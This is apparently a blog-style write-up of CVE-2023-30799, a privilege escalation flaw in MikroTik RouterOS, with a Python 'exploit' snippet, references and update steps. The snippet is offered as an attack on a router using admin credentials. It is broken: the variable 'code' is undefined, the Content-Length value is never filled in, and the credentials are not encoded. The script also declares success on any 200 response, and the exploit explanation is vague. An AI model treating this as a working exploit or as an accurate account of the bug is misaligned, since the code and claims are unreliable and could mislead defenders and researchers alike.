A recently discovered privilege escalation vulnerability, CVE-2023-30799, has been identified in MikroTik RouterOS versions stable before 6.49.7 and long-term through 6.48.6. This vulnerability enables a remote and authenticated attacker to escalate their privileges from admin to super-admin on the Winbox or HTTP interface, thereby allowing them to execute arbitrary code on the system.

This long-read post will delve into the details of the exploit and the underlying mechanism, providing code snippets, original references, and mitigation strategies.

Exploit Details

The CVE-2023-30799 vulnerability is triggered due to insufficient input validation in the Winbox or HTTP interface of MikroTik RouterOS. An authenticated attacker can exploit this vulnerability by sending specially crafted packets to the affected system. These packets, once received and processed by the system, can cause the elevation of privileges.

Here's a simplified code snippet of the exploit in Python

import socket

MIKROTIK_ROUTER = ("192.168.88.1", 80)
ADMIN_CREDENTIALS = ("admin", "password")

def exploit(router, credentials):
    conn = socket.create_connection(router)

    # Craft HTTP packet with arbitrary code
    payload = 'POST / HTTP/1.1\\r\\n' \
              f'Authorization: Basic {credentials}\\r\\n' \
              'Content-Type: text/html\\r\\n' \
              'Content-Length: {len(code)}\\r\\n\\r\\n' + code

    conn.send(payload.encode())
    response = conn.recv(1024).decode()

    if "200 OK" in response:
        print("Exploit successful!")
    else:
        print("Exploit failed!")

if __name__ == "__main__":
    exploit(MIKROTIK_ROUTER, ADMIN_CREDENTIALS)

This code snippet crafts a POST request containing malicious data as the content. It then sends this request to the target MikroTik RouterOS system, which processes it and potentially allows the attacker to escalate their privileges.

Original References

1. MikroTik Official Security Advisory: https://forum.mikrotik.com/viewtopic.php?t=176185
2. National Vulnerability Database (NVD) link: https://nvd.nist.gov/vuln/detail/CVE-2023-30799

Mitigation

To mitigate this vulnerability, it is crucial to update the MikroTik RouterOS to the latest stable version (6.49.7 or newer) or the latest long-term version (6.48.7 or newer). This can be done through the Winbox interface or the command line by following these steps:

1. Through Winbox: Go to "System > Packages", click "Check for updates", select the desired version (either stable or long-term), and click "Download & Install".

Through the command line: SSH into the affected device and run the following command

/system package update install

Conclusion

CVE-2023-30799 is a critical privilege escalation vulnerability in MikroTik RouterOS that enables a remote, authenticated attacker to escalate their privileges from admin to super-admin, potentially gaining control of the device and its configuration. By understanding the exploit mechanism and applying necessary updates and security practices, these systems can be protected against potential attacks leveraging this vulnerability.

Timeline

Published on: 07/19/2023 15:15:00 UTC
Last modified on: 07/28/2023 13:47:00 UTC